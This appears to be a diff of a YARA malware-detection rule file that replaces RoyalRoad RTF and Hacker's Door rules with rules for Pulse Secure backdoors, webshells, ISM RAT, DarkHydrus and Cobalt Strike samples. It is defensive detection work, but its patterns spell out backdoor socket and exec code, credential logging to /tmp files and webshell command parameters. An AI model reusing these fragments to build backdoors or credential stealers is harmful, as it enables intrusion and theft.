+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L154-L172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "00575bec8d74e221ff6248228c509a16"
+		logic_hash = "226a56369e141834d4834400bbf1a006bbb6e9b39e16e24b0106bff1a9c202a9"
+		score = 75
+		quality = 83
+		tags = ""
 
 	strings:
-		$S1 = "4746424151515151505050500000000000584242eb0642424235353336204460606060606060606061616161616161616161616161616161"
-		$RTF = "{\\rt"
+		$s1 = /open[\x09\x20]{0,32}\(\*STDOUT[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
+		$s2 = /open[\x09\x20]{0,32}\(\*STDERR[\x09\x20]{0,32},[\x09\x20]{0,32}[\x22\x27]>&CLIENT[\x22\x27]\)/
+		$s3 = /socket[\x09\x20]{0,32}\(SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}PF_UNIX[\x09\x20]{0,32},[\x09\x20]{0,32}SOCK_STREAM[\x09\x20]{0,32},[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{0,128}unlink/
+		$s4 = /bind[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}sockaddr_un\(/
+		$s5 = /listen[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}SOMAXCONN[\x09\x20]{0,32}\)[\x09\x20]{0,32};/
+		$s6 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}fork\([\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{1,128}if[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}==[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{\s{1,128}exec\(/
 
 	condition:
-		$RTF at 0 and $S1
+		all of them
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ab : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_1
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "b4926888-b576-59f7-932a-03b9326845da"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "1fab6d2f-96e8-5def-a93e-2bddd04e7ec8"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L77-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dd9468b3208a27b6f3b56037013f06c4d2adbd201a12df141bc980ad595a75c0"
-		score = 80
-		quality = 85
-		tags = "FILE"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L173-L190"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b"
+		logic_hash = "d65a466cc15214d8e26597588c039a6b9fb4637ef8f3b1ebea27f016fbd5cba8"
+		score = 75
+		quality = 83
+		tags = ""
 
 	strings:
-		$S1 = "4746424151515151505050500000000000584242EB064242423535333620446060606060606060606161616161616}1616161616161616161" ascii
-		$RTF = "{\\rt"
+		$s1 = "->getRealmInfo()->{name}"
+		$s2 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>/
+		$s3 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]realm=\$/
+		$s4 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]username=\$/
+		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]password=\$/
 
 	condition:
-		$RTF at 0 and $S1
+		(@s1[1]<@s2[1]) and (@s2[1]<@s3[1]) and $s4 and $s5
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern4Ce : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_2
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "c6e8a072-23cd-5f6a-9b4f-57d3e4500d13"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "dc941935-aec7-54b6-a278-f1453b9785df"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L94-L109"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7033c5874b406341a68f761b45fd6a9b73a9875c80b14d52a7c2240202c8fb40"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L191-L208"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
+		logic_hash = "4ade993176c918ec23e99fc585e9ab14d9f9e93a7eca00f2c3b0ebbd13d6ec5b"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$S1 = "584242eb064242423535333620446060606060606060606161616161616161616161616}1616161" ascii
-		$RTF = "{\\rt"
+		$s1 = "open(*fd,"
+		$s2 = "syswrite(*fd,"
+		$s3 = "close(*fd);"
+		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/[\w.]{1,128}[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
+		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$\w{1,128} ?[\x22\x27],[\x09\x20]{0,32}5000\)/
 
 	condition:
-		$RTF at 0 and $S1
+		all of them
 }
-rule SIGNATURE_BASE_Royalroad_Code_Pattern4D : FILE
+rule SIGNATURE_BASE_FE_APT_Trojan_PL_RADIALPULSE_3
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "1677dfb4-7611-5bef-87d1-4cec6285791f"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "8a597521-c873-5bcc-85e6-5a0a061fffb7"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L113-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9b531063d2a5ae36ae4e708a749dcf2cdc4c85fc43769a8525049e6facfca674"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L209-L226"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
+		logic_hash = "025308591e058de284f949fd4f788e4a4f46bb2f6c0e1161237f1f811d8179ba"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$S1 = "584242eb06424242353533362044606060606060606060616161616161616161616}16161616161" ascii
-		$RTF = "{\\rt"
+		$s1 = "open(*fd,"
+		$s2 = "syswrite(*fd,"
+		$s3 = "close(*fd);"
+		$s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/dsstartssh\.statementcounters[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/
+		$s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$username ?[\x22\x27],[\x09\x20]{0,32}\d{4}\)/
 
 	condition:
-		$RTF at 0 and $S1
+		all of them
 }
-rule SIGNATURE_BASE_Royalroad_RTF : FILE
+rule SIGNATURE_BASE_FE_APT_Backdoor_Linux32_SLOWPULSE_1 : FILE
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "366ec9c3-e6ad-5198-88d5-15aa84a8358f"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "dd35257f-5b6f-55a6-a709-873ded1f4b72"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L133-L148"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20031fe6d6a0b2fad43f7e04bb82321c2ea75193f23194edead7ca530af8ac55"
-		score = 80
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L227-L244"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
+		logic_hash = "c1d92ea4ed8e5934c8356e1e52092935c53a138e454026737448f7f523ea06be"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$S1 = "objw2180\\objh300" ascii
-		$RTF = "{\\rt"
+		$sb1 = {FC b9 [4] e8 00 00 00 00 5? 8d b? [4] 8b}
+		$sb2 = {f3 a6 0f 85 [4] b8 03 00 00 00 5? 5? 5?}
+		$sb3 = {9c 60 e8 00 00 00 00 5? 8d [5] 85 ?? 0f 8?}
+		$sb4 = {89 13 8b 51 04 89 53 04 8b 51 08 89 53 08}
+		$sb5 = {8d [5] b9 [4] f3 a6 0f 8?}
 
 	condition:
-		$RTF at 0 and $S1
+		(( uint32(0)==0x464c457f) and ( uint8(4)==1)) and all of them
 }
-rule SIGNATURE_BASE_Royalroad_RTF_V7 : FILE
+rule SIGNATURE_BASE_FE_APT_Webshell_PL_STEADYPULSE_1
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "9d2af980-a851-533a-b25d-ee52277e319c"
-		date = "2020-01-15"
+		description = "Detects samples mentioned in PulseSecure report"
+		author = "Mandiant"
+		id = "49457fbb-9288-565f-909d-e8228c21c1e4"
+		date = "2021-04-16"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L150-L166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "da043123cf72e19295634720196d78bef3af89f44cba795dbbcee4c0f5c8159a"
-		score = 60
+		reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_pulsesecure.yar#L265-L284"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc"
+		logic_hash = "a0e3ebdd02ccf5cc8fc0a83c1d0224aed45dc5094eb85bd855e5b74b34e3aaaf"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$v7_1 = "{\\object\\objocx{\\objdata" ascii
-		$v7_2 = "ods0000" ascii
-		$RTF = "{\\rt"
+		$s1 = "parse_parameters"
+		$s2 = "s/\\+/ /g"
+		$s3 = "s/%(..)/pack("
+		$s4 = "MIME::Base64::encode($"
+		$s5 = "$|=1;"
+		$s6 = "RC4("
+		$s7 = "$FORM{'cmd'}"
 
 	condition:
-		$RTF at 0 and all of ($v7*)
+		all of them
 }
-rule SIGNATURE_BASE_Royalroad_Encode_In_RTF : FILE
+rule SIGNATURE_BASE_Trojan_ISMRAT_Gen : FILE
 {
 	meta:
-		description = "Detects RoyalRoad weaponized RTF documents"
-		author = "nao_sec"
-		id = "66614152-8f9b-5e62-b6bd-ba0286e66d4d"
-		date = "2020-01-15"
+		description = "ISM RAT"
+		author = "Ahmed Zaki"
+		id = "e72241ce-d6ee-5cb7-a83d-157161938d83"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_8_koike-nakajima_jp.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_royalroad.yar#L168-L189"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "00a703a0d7b3a74ec9bfc8ad0e570ee04b3cb6b7f2c062cc2886b41f6fbea49d"
-		score = 60
+		reference = "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2017/february/ism-rat/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_ism_rat.yar#L9-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c4d26f79b8110e92a5e427de303eca6eaf79765a4c9cc437864dc5160ef2e343"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "146a112cb01cd4b8e06d36304f6bdf7b"
+		hash2 = "fa3dbe37108b752c38bf5870b5862ce5"
+		hash3 = "bf4b07c7b4a4504c4192bd68476d63b5"
 
 	strings:
-		$enc_hex_1 = "B0747746"
-		$enc_hex_2 = "B2A66DFF"
-		$enc_hex_3 = "F2A32072"
-		$enc_hex_4 = "B2A46EFF"
-		$enc_hex_1l = "b0747746"
-		$enc_hex_2l = "b2a66Dff"
-		$enc_hex_3l = "f2a32072"
-		$enc_hex_4l = "b2a46eff"
-		$RTF = "{\\rt"
+		$s1 = "WinHTTP Example/1.0" wide
+		$s2 = "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0" wide
+		$s3 = "|||Command executed successfully"
+		$dir = /Microsoft\\Windows\\Tmpe[a-z0-9]{2,8}/
 
 	condition:
-		$RTF at 0 and 1 of ($enc_hex*)
+		uint16(0)==0x5A4D and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hkdoor_Backdoor_Dll : FILE
+rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_1 : FILE
 {
 	meta:
-		description = "Hacker's Door Backdoor DLL"
-		author = "Cylance Inc."
-		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
-		date = "2023-12-05"
+		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		author = "Florian Roth (Nextron Systems)"
+		id = "fbd001c0-43c9-5429-84d6-7f62eadd8ff3"
+		date = "2018-07-28"
 		modified = "2023-12-05"
-		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hkdoor.yar#L11-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77901d1f2d6c53161c79b50ef20eeb424bf1b8b32906302ca10f3c4b82a58e2a"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_darkhydrus.yar#L13-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2c39f2e6b37e6422984275f45a2917891c3b482d137dbbfd6293088c2f2dacc3"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "99541ab28fc3328e25723607df4b0d9ea0a1af31b58e2da07eff9f15c4e6565c"
 
 	strings:
-		$s1 = "The version of personal hacker's door server is" fullword ascii
-		$s2 = "The connect back interval is %d (minutes)" fullword ascii
-		$s3 = "I'mhackeryythac1977" fullword ascii
-		$s4 = "Welcome to http://www.yythac.com" fullword ascii
-		$s5 = "SeLoadDriverPrivilege" fullword ascii
+		$x1 = "Z:\\devcenter\\aggressor\\" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (3 of ($s*)) and pe.characteristics&pe.DLL and pe.imports("ws2_32.dll","WSAStartup") and pe.imports("ws2_32.dll","sendto")
+		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="d3666d1cde4790b22b44ec35976687fb" or 1 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hkdoor_Backdoor : FILE
+rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_2 : FILE
 {
 	meta:
-		description = "Hacker's Door Backdoor"
-		author = "Cylance Inc."
-		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"
-		date = "2023-12-05"
+		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1a21cbbf-f7e1-56eb-973b-35c1a811e210"
+		date = "2018-07-28"
 		modified = "2023-12-05"
-		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hkdoor.yar#L32-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3fc71c971bf0908e044e3e0ec3f266b8dfaae33bcfbf1b10619375fc7b5e7f5e"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_darkhydrus.yar#L31-L48"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e967fec69ad1cbb46a63ee520594e7d6f2445a400510a9864dbd6d4c6e092737"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b2571e3b4afbce56da8faa726b726eb465f2e5e5ed74cf3b172b5dd80460ad81"
 
 	strings:
-		$s1 = "http://www.yythac.com" fullword ascii
-		$s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
-		$s3 = "password-----------The hacker's door's password" fullword ascii
-		$s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
-		$s5 = "hkdoordll.dll" fullword ascii
-		$s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
-		$s7 = "I'mhackeryythac1977" fullword ascii
-		$s8 = "yythac.yeah.net" fullword ascii
+		$s4 = "windir" fullword ascii
+		$s6 = "temp.dll" fullword ascii
+		$s7 = "libgcj-12.dll" fullword ascii
+		$s8 = "%s\\System32\\%s" fullword ascii
+		$s9 = "StartW" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (4 of ($s*))
+		uint16(0)==0x5a4d and filesize <40KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hkdoor_Dropper : FILE
+rule SIGNATURE_BASE_APT_Darkhydrus_Jul18_3 : FILE
 {
 	meta:
-		description = "Hacker's Door Dropper"
-		author = "Cylance Inc."
-		id = "8c8171b9-6256-591a-8f74-abac1cb9a50b"
-		date = "2018-01-01"
-		modified = "2023-01-07"
-		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hkdoor.yar#L53-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "521836ff95142d276152687f7c36e8f503f168f101976022431efd13a6adf7e4"
+		description = "Detects strings found in malware samples in APT report in DarkHydrus"
+		author = "Florian Roth (Nextron Systems)"
+		id = "1f766b49-3173-5f8a-ba52-a9ce9000be79"
+		date = "2018-07-28"
+		modified = "2023-12-05"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_darkhydrus.yar#L50-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f3425322846e6064ec2576ad4e73061fbec3e4400de54d05fe07b8ad2a31f92"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c8b3d4b6acce6b6655e17255ef7a214651b7fc4e43f9964df24556343393a1a3"
 
 	strings:
-		$s1 = "The version of personal hacker's door server is" fullword ascii
-		$s2 = "The connect back interval is %d (minutes)" fullword ascii
-		$s3 = "I'mhackeryythac1977" fullword ascii
-		$s4 = "Welcome to http://www.yythac.com" fullword ascii
-		$s5 = "SeLoadDriverPrivilege" fullword ascii
-		$s6 = "\\drivers\\ntfs.sys" ascii
-		$s7 = "kifes" fullword ascii
+		$s2 = "Ws2_32.dll" fullword ascii
+		$s3 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (4 of ($s*)) and pe.number_of_resources>0 and for any i in (0..pe.number_of_resources-1) : (pe.resources[i].type_string=="B\x00I\x00N\x00" and uint16(pe.resources[i].offset)==0x5A4D) and pe.imports("KERNEL32.dll","FindResourceW") and pe.imports("KERNEL32.dll","LoadResource")
+		uint16(0)==0x5a4d and filesize <100KB and (pe.imphash()=="478eacfbe2b201dabe63be53f34148a5" or all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hkdoor_Driver : FILE
+rule SIGNATURE_BASE_HKTL_Unlicensed_Cobaltstrike_EICAR_Jul18_5 : FILE
 {
 	meta:
-		description = "Hacker's Door Driver"
-		author = "Cylance Inc."
-		id = "50b763a9-6d4f-59dd-ba6c-27e2ae117523"
-		date = "2018-01-01"
-		modified = "2023-01-07"
-		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_hkdoor.yar#L81-L99"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "68ac505d67af5361f096529697e621c83a4628f21c213fcea6652905f87ebe00"
+		description = "Detects strings found in CobaltStrike shellcode"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d52536b8-dd6b-59be-8761-d22b6a279114"
+		date = "2018-07-28"
+		modified = "2021-06-17"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_darkhydrus.yar#L69-L90"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d066f22e01f9ca3a33c669552046a5ab8dd9e579236974b1c468ba9644498951"
 		score = 75
-		quality = 83
+		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "cec36e8ed65ac6f250c05b4a17c09f58bb80c19b73169aaf40fa15c8d3a9a6a1"
 
 	strings:
-		$s1 = "ipfltdrv.sys" fullword ascii
-		$s2 = "Patch Success." fullword ascii
-		$s3 = "\\DosDevices\\kifes" ascii
-		$s4 = "\\Device\\kifes" ascii
-		$s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}
+		$x1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
+		$s1 = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" fullword ascii
+		$s2 = "libgcj-12.dll" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and pe.subsystem==pe.SUBSYSTEM_NATIVE and (4 of ($s*))
+		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="829da329ce140d873b4a8bde2cbfaa7e" or all of ($s*) or $x1)
 }
 import "pe"
 
-rule SIGNATURE_BASE_Microcin_Sample_1 : FILE
+rule SIGNATURE_BASE_Xtreme_Sep17_1 : FILE
 {
 	meta:
-		description = "Malware sample mentioned in Microcin technical report by Kaspersky"
+		description = "Detects XTREME sample analyzed in September 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "96e9ac3b-a837-5909-b17b-259d54e0e7fd"
-		date = "2017-09-26"
+		id = "7517e237-9cad-5619-9028-4c7ab5463040"
+		date = "2017-09-27"
 		modified = "2023-12-05"
-		reference = "https://securelist.com/files/2017/09/Microcin_Technical-PDF_eng_final.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_microcin.yar#L13-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e7eb967035257490db2537ba46fd1f1e378fc33f93e7f65412949e987194a9db"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_xtreme_rat.yar#L14-L37"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa78b43f729032291c27f67dc53bd39a85c9a50323c7adf909ca2a8c5acdd861"
 		score = 75
 		quality = 85
 		tags = "FILE"
